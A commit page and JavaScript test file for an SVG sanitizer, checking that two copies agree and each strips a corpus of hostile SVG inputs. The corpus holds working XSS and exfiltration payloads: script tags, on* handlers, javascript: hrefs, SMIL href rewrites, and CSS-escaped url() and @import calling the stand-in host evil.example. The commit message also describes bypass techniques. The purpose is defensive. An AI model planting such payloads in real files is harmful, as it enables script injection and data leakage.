Files
hyperframes/scripts/check-svg-sanitize-parity.test.mjs
d49e7b95e0 feat(media-use): resolve brand logos from theSVG (#4291)
* feat(media-use): resolve brand logos from theSVG

Replace the svgl and simple-icons tiers of the `logo` cascade with a
single theSVG (thesvg.org) tier. theSVG ships 7,400+ official brand
SVGs with color, mono, light/dark and wordmark variants.

The tier fetches one manifest pinned to a glincker/thesvg commit on
jsDelivr, memoizes it per process, and matches entities locally by
normalized slug, title, or alias. That drops the hand-kept svgl alias
and simple-icons slug maps. GitHub org avatar and favicon stay as the
fallbacks for brands theSVG lacks.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

* fix(media-use): sanitize fetched SVGs and gate theSVG by license

freezeUrl/freezeLocalFile wrote every fetched SVG to disk unsanitized;
the theSVG tier is now the sole SVG-returning logo provider, so an
inline script tag or on-event handler would land verbatim in a user
project. Route .svg destinations through the existing Figma sanitizer
(new @hyperframes/core/sanitize-svg subpath, synced via
package-subpaths).

thesvgMatch never checked theSVG's own license field: entries theSVG
itself marks unresolved (Proprietary, Unknown, Custom, TODO, or an
explicit no-redistribution-license string) could still resolve and
freeze into a project. Gate matches to the ten SPDX ids theSVG's
submission form accepts; a rejected entry falls through to a lower
ranked theSVG match, then to the github/favicon tiers.

Also caps the theSVG manifest fetch at 20MB, streamed, matching
freeze.mjs's existing cap discipline. It had a timeout but no bound.

* chore(skills): regenerate skills-manifest for media-use/motion-graphics

The original submission edited skills/media-use and
skills/motion-graphics docs without regenerating skills-manifest.json;
its own CI never ran (fork approval gate), so the drift went
unnoticed until this pass's first CI run caught it.

* fix(media-use): drop the sanitizer's workspace import, add parity test

freeze.mjs importing @hyperframes/core/sanitize-svg broke the
test-skills CI lane: packages/cli/src/media-use tests run with node
builtins only, zero install, by design (media-use is vendored
standalone into other projects, e.g. packages/desktop). Port the
sanitizer into media-use/lib/svg-sanitize.mjs instead, and drop the
now-unused core export.

Parity between the port and packages/core/src/figma/sanitizeSvg.ts is
enforced by a new test (scripts/check-svg-sanitize-parity.test.mjs,
run in the test:scripts lane, which does have an install) over a
hostile-SVG corpus, so the two cannot drift silently.

* fix(media-use): close three sanitizer bypasses, add fetch timeout

Independent review of the maintainer pass found the SVG sanitizer
(packages/core/src/figma/sanitizeSvg.ts, reused by media-use's own
port) was itself bypassable: an unquoted href/xlink:href survived,
inline style="..." attributes were never checked, and a href bound
through a renamed XML namespace prefix (xmlns:x=".../1999/xlink",
x:href=...) slipped past the literal "xlink:href" match.

Rewrote sanitizeSvg as a tag/attribute tokenizer instead of a set of
literal-spelling regexes: parse each tag's attributes in any quoting
form, resolve the local name after stripping any namespace prefix,
then drop by local name (any on* handler, any *href whose value is
not a #fragment or data:image/ embed, any style attribute containing
url(, @import, expression( or javascript:). Ported the fix into
media-use's svg-sanitize.mjs identically. Legitimate url(#id)
references on non-style attributes (clip-path, fill) are untouched.

Also adds a 10s AbortSignal.timeout to freezeUrl's fetch, matching
every other fetchMedia call in this package - it had a size cap but
no deadline.

New cases for all three bypasses in both sanitizeSvg.test.ts and the
parity corpus, each reproducibly failing against the prior head.

* fix(media-use): replace regex SVG sanitizer with a DOM allowlist

Two rounds of regex/tokenizer patches to sanitizeSvg found new bypasses
in the same shape each time (unquoted href, style= url(), aliased
xlink prefix; then presentation-attribute url(), unquoted '=' handling,
SMIL animate/set href rewrite, self-closing-slash tag corruption,
data:image/ navigation via <a>). Denylisting attribute names against a
hand-rolled tokenizer was the wrong approach regardless of how careful
the regex.

Rewrote sanitizeSvg (packages/core/src/figma/sanitizeSvg.ts) as a real
DOM walk (linkedom, already a dependency of core and cli) with an
allowlist: known-safe elements and attributes only, everything else
dropped by construction rather than pattern-matched as dangerous.
href/xlink:href (any namespace prefix) kept only for a same-document
fragment, or data:image/ off non-<a> elements. Any attribute value or
<style> text containing url() kept only when every url() argument is a
fragment; @import/expression(/javascript: dropped from style content.
Serializing from a real DOM means output is always well-formed, so the
self-closing-slash corruption class of bug is gone by construction.

media-use's own copy (packages/cli/src/media-use/lib/svg-sanitize.mjs)
can't import linkedom directly: its CI test lane runs bare `node --test`
with no install step, so even an external dependency fails to resolve,
not just a workspace import. It's now a generated file instead of a
hand-copy: scripts/generate-media-use-svg-sanitize.mjs bundles the core
source (esbuild, minified, zero remaining imports) and
scripts/check-media-use-svg-sanitize-generated.test.mjs fails the build
on drift. Verified the generated file runs with plain node in an empty
directory with no node_modules on the path.

Every payload from both independent-review reports is now a
table-driven test in sanitizeSvg.test.ts (46 cases) and the same corpus
in check-svg-sanitize-parity.test.mjs (39 cases) asserts core and the
generated media-use copy agree and each independently rejects every
non-local url(), javascript:, data: href on <a>, and on* handler.
Mutation-proved against the real pre-fix blob, not a synthetic case.

Sampled 56 real theSVG icons across all 7 collections to check the
allowlist doesn't over-strip legitimate content: found and fixed three
missing attributes (fx/fy, enable-background, a blanket data-*
allowance) and one real behavioral bug - <style> elements were being
dropped outright, silently unstyling any Illustrator-exported logo that
colors paths via CSS classes. Fixed by keeping <style> on the allowlist
and content-checking its text the same way as an inline style=
attribute, with a regression test using that exact shape.

Full suite after the fix: sanitizeSvg.test.ts 46/46, parity+drift tests
39/39, media-use suite 298/298, tsc/oxlint/oxfmt clean.

* fix(lint): ignore generated svg-sanitize.mjs bundle in oxlint

Minified esbuild output (packages/cli/src/media-use/lib/svg-sanitize.mjs,
generated by scripts/generate-media-use-svg-sanitize.mjs) trips oxlint's
correctness rules 504 times and fails `bun run lint`. Same shape as the
existing registry/blocks/**/*.iife.js exclusions: a generated, minified,
non-hand-edited bundle, not hand-written source.

* fix(format): ignore generated svg-sanitize.mjs bundle in oxfmt

Same generated esbuild bundle that needed an oxlint exclusion in the
previous commit also fails  (minified, no formatting to
check against), cascading Preflight into Player perf, regression,
Windows render verification, and preview-regression on CI. Same
established pattern as the existing registry/blocks/**/*.iife.js and
skills/**/*.min.js entries in .prettierignore.

* refactor(media-use): reduce complexity flagged by fallow audit

isSafeAttribute (10 cyclomatic) and the parity test's aggregate-marker
check (11 cyclomatic, 26 cognitive, CRAP 132) both exceeded fallow's
per-function thresholds after the rebase pulled in a stricter baseline.
Extracted isXmlnsAttribute/isKnownAttribute as named predicates and
survivingUnsafeMarkers as a named per-output helper; no behavior change,
same guard order, same failure strings. Regenerated svg-sanitize.mjs.

* refactor(media-use): make the parity test's marker check table-driven

Fallow gives .mjs scripts no coverage credit, so its CRAP gate needs each
function at cyclomatic 4 or less. The extracted survivingUnsafeMarkers
still scored 9 (CRAP 90). The four regex markers are now a table, and the
data:image-on-<a> and non-local url() checks are small named helpers.
Same checks, same order, same failure strings.

* fix(media-use): close CSS-escape and image-set bypasses in sanitizeSvg

The url()/@import checks scanned raw text for the literal "url(" and
"@import". A browser decodes CSS escapes first, so fill="\75 rl(...)",
url\28...\29 and @\69mport all loaded an external resource, and
image-set("https://...") loads one with no url() at all. Reproduced in
headless Chrome: 8 of 8 payloads fired a request through the old code.

CSS can only load a resource through a function or @import, so CSS text
now passes only if it has no @import, every function is on a compute-only
allowlist (color, transform, filter and math functions), and every url()
is a same-document fragment, all checked on escape-decoded, lowercased
text. Same fix reaches media-use through the regenerated bundle.

Checked against all 13,384 files of the pinned theSVG corpus: 13,383
sanitize byte-identically; one drops an unreferenced id="XRP-(XRP)".
The parity oracle now fails on any surviving attacker host, so it no
longer shares the sanitizer's parsing blind spot.

* refactor(media-use): share one capped body reader for freeze and manifest

fetchJson copied freezeUrl's declared-length check and streaming size cap
line for line. Both now call readCappedBody in media-fetch.mjs, which both
already import; it has its own tests, since freeze's cap had none. The
freeze cap errors now read "freeze failed for <url>: ..." (no caller or
test matches the old wording). Also fixes freeze.mjs's comment, which
still called the sanitizer a lexical pass.

* style(media-use): format the parity test corpus

* fix(media-use): make the sanitizer's CSS scans linear on hostile input

The url() check used /url\(\s*(['"]?)([^)]*)\1\s*\)/ and the function
check /([-\w]*)\(/: on attacker padding these backtracked cubically and
quadratically (an unclosed url( plus 4,000 spaces took 20s; an 80,000
character word took 7.7s), and freeze runs the sanitizer synchronously on
bodies up to 256MB. Both are now single-pass indexOf scans (a million
characters in under 15ms), with the same verdict on ordinary input. A url()
value holding "(" is rejected, so a nested url( can't hide inside one.
A size test holds both payloads under 2s.

* test(media-use): size payloads that fail the old scans fast instead of hanging

* fix(media-use): stop the freeze timeout from aborting long downloads

The 10 s AbortSignal.timeout on freezeUrl also aborted the response body,
so any stock video, generated video or LUT that took longer than 10 s to
download failed. The timer now covers only the wait for response headers
and is cleared once they arrive; the 256 MB cap still bounds the body.

* refactor(media-use): trim logo-provider comments to the repo limit

The tier list and the thesvgMatch doc block ran past the four-line comment
cap that the merge check enforces. Same facts, shorter blocks.

* refactor(media-use): name the header wait and restore the variants note

Renames the freeze timeout controller to headerWait so it no longer reads
as HTTP headers, puts the theSVG variants fact dropped by the comment trim
next to the line that picks the default mark, and keeps thesvgMatch on the
file's JSDoc style.

---------

Co-authored-by: Imad Phelps <imad.phelps@heygen.com>
Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
Co-authored-by: Miguel Angel Simon Sierra <miguel.sierra@heygen.com>
2026-09-23 16:56:16 -04:00

146 lines
6.5 KiB
JavaScript

import assert from "node:assert/strict";
import { describe, it } from "node:test";
import { sanitizeSvg as coreSanitizeSvg } from "../packages/core/src/figma/sanitizeSvg.ts";
import { sanitizeSvg as mediaUseSanitizeSvg } from "../packages/cli/src/media-use/lib/svg-sanitize.mjs";
// svg-sanitize.mjs is generated from sanitizeSvg.ts (see check-media-use-svg-sanitize-generated
// for the drift check). This is the behavioral trip wire: both copies must independently
// neutralize and agree on every payload, so a bad regeneration can't silently reopen a bypass.
const HOSTILE_CORPUS = [
["<svg><script>alert(1)</script><rect/></svg>", "script element"],
['<svg><script src="//evil"/></svg>', "self-closing script"],
['<svg><style>@import "//evil";</style></svg>', "style block"],
['<svg><foreignObject><body onload="alert(1)"/></foreignObject></svg>', "foreignObject subtree"],
["<svg><foreignObject/></svg>", "self-closing foreignObject"],
['<svg><rect onload="alert(1)"/></svg>', "quoted on* handler"],
[`<svg><rect onload='alert(1)'/></svg>`, "single-quoted on* handler"],
["<svg><rect onload=alert(1)/></svg>", "unquoted on* handler"],
['<svg><a href="javascript:alert(1)"><rect/></a></svg>', "javascript: href"],
['<svg><a xlink:href="javascript:alert(1)"><rect/></a></svg>', "javascript: xlink:href"],
[
'<svg><a href="data:image/png;base64,AA=="><rect/></a></svg>',
"data:image/ href on <a> (still navigable, dropped)",
],
['<svg><use href="data:image/png;base64,AA=="/></svg>', "allowed data:image/ href on non-<a>"],
['<svg><a href="#clip"><rect/></a></svg>', "allowed local fragment href"],
['<svg><a href="data:text/html,<script>1</script>"><rect/></a></svg>', "data:text/html href"],
[
"<svg><script>a</script><script>/*<script>*/nested()</script></svg>",
"nested/overlapping script tags",
],
[
"<svg><foreignObject><foreignObject><script>1</script></foreignObject></foreignObject></svg>",
"nested foreignObject",
],
[
'<svg xmlns="http://www.w3.org/2000/svg"><svg><rect onclick="a"/></svg></svg>',
"nested svg element",
],
["<svg><rect onMouseOver=\"alert('x')\" ONCLICK='y'/></svg>", "mixed-case on* handler names"],
['<svg><a HREF="javascript:alert(1)"><rect/></a></svg>', "mixed-case href attribute name"],
["<svg><a href=javascript:alert(1)><rect/></a></svg>", "unquoted javascript: href"],
["<svg><use href=https://evil.example/x.svg#p/></svg>", "unquoted external use href"],
['<svg><rect style="fill:url(https://evil.example/x)"/></svg>', "style url() exfil"],
['<svg><rect style="background:@import url(evil)"/></svg>', "style @import exfil"],
['<svg><rect style="width:expression(alert(1))"/></svg>', "style expression() exfil"],
[`<svg><rect style="background:url('javascript:alert(1)')"/></svg>`, "style javascript: exfil"],
['<svg><rect style="fill:#123456"/></svg>', "benign style attribute survives"],
[
'<svg><path clip-path="url(#clip0)" fill="url(#grad)"/></svg>',
"url(#id) on non-style attrs survives",
],
[
'<svg xmlns:x="http://www.w3.org/1999/xlink"><use x:href="https://evil.example/x.svg#p"/></svg>',
"href via a renamed xlink namespace prefix",
],
['<svg><rect fill="url(https://evil.example/x.svg#p)"/></svg>', "fill url() exfil"],
['<svg><rect filter="url(https://evil.example/x.svg#f)"/></svg>', "filter url() exfil"],
['<svg><rect mask="url(https://evil.example/x.svg#m)"/></svg>', "mask url() exfil"],
['<svg><rect clip-path="url(https://evil.example/x.svg#c)"/></svg>', "clip-path url() exfil"],
[
'<svg><path marker-start="url(https://evil.example/x.svg#m)"/></svg>',
"marker-start url() exfil",
],
[
"<svg><rect style=x=y;fill:url(https://evil.example/beacon)>r</rect></svg>",
"unquoted attribute value containing '='",
],
[
'<svg><a href="#a"><animate attributeName="href" to="javascript:alert(1)"/></a></svg>',
"SMIL <animate> rewrites href to javascript:",
],
[
'<svg><a href="#a"><set attributeName="href" to="javascript:alert(1)"/></a></svg>',
"SMIL <set> rewrites href to javascript:",
],
[
'<svg><a href="data:image/svg+xml;base64,PHN2Zz48c2NyaXB0PmFsZXJ0KDEpPC9zY3JpcHQ+PC9zdmc+">click</a></svg>',
"data:image/svg+xml navigation on <a>",
],
[
String.raw`<svg><rect style="fill:\75 rl(https://evil.example/b)"/></svg>`,
"CSS-escaped url() in style=",
],
[
String.raw`<svg><rect fill="\75rl(https://evil.example/b)"/></svg>`,
"CSS-escaped url() in fill",
],
[
String.raw`<svg><style>@\69mport 'https://evil.example/x.css';</style></svg>`,
"CSS-escaped @import in <style>",
],
[
`<svg><style>svg{background-image:image-set("https://evil.example/b" 1x)}</style></svg>`,
"image-set() string URL in <style>",
],
];
// The attacker host is checked as plain text so the oracle can't share a CSS-parsing blind
// spot with the sanitizer: however a payload spells its URL, the host must not survive.
const UNSAFE_MARKERS = [
[/<script\b/i, "<script survived"],
[/<foreignobject\b/i, "<foreignObject survived"],
[/\son\w+\s*=/i, "on* handler survived"],
[/javascript:/i, "javascript: survived"],
[/evil\.example/i, "attacker host survived"],
];
function hasDataImageOnAnchor(out) {
return /data:image/i.test(out) && /<a[\s>]/i.test(out);
}
function nonLocalUrls(out) {
return [...out.matchAll(/url\(\s*(['"]?)([^)]*)\1\s*\)/gi)]
.map((m) => m[2])
.filter((url) => !url.trim().startsWith("#"));
}
// Prefixed with `${name}/${label}` so a failure names the copy and the payload that leaked.
function survivingUnsafeMarkers(name, label, out) {
const found = UNSAFE_MARKERS.filter(([re]) => re.test(out)).map(([, message]) => message);
if (hasDataImageOnAnchor(out)) found.push("data:image href survived on <a>");
for (const url of nonLocalUrls(out)) found.push(`non-local url(${url}) survived`);
return found.map((message) => `${name}/${label}: ${message}`);
}
describe("svg-sanitize parity: core vs media-use (generated) port", () => {
for (const [input, label] of HOSTILE_CORPUS) {
it(`matches core output for: ${label}`, () => {
assert.equal(mediaUseSanitizeSvg(input), coreSanitizeSvg(input));
});
}
it("both copies independently reject every unsafe marker in the corpus", () => {
const failures = [];
for (const [input, label] of HOSTILE_CORPUS) {
for (const [name, sanitize] of [
["core", coreSanitizeSvg],
["media-use", mediaUseSanitizeSvg],
]) {
failures.push(...survivingUnsafeMarkers(name, label, sanitize(input)));
}
}
assert.deepEqual(failures, []);
});
});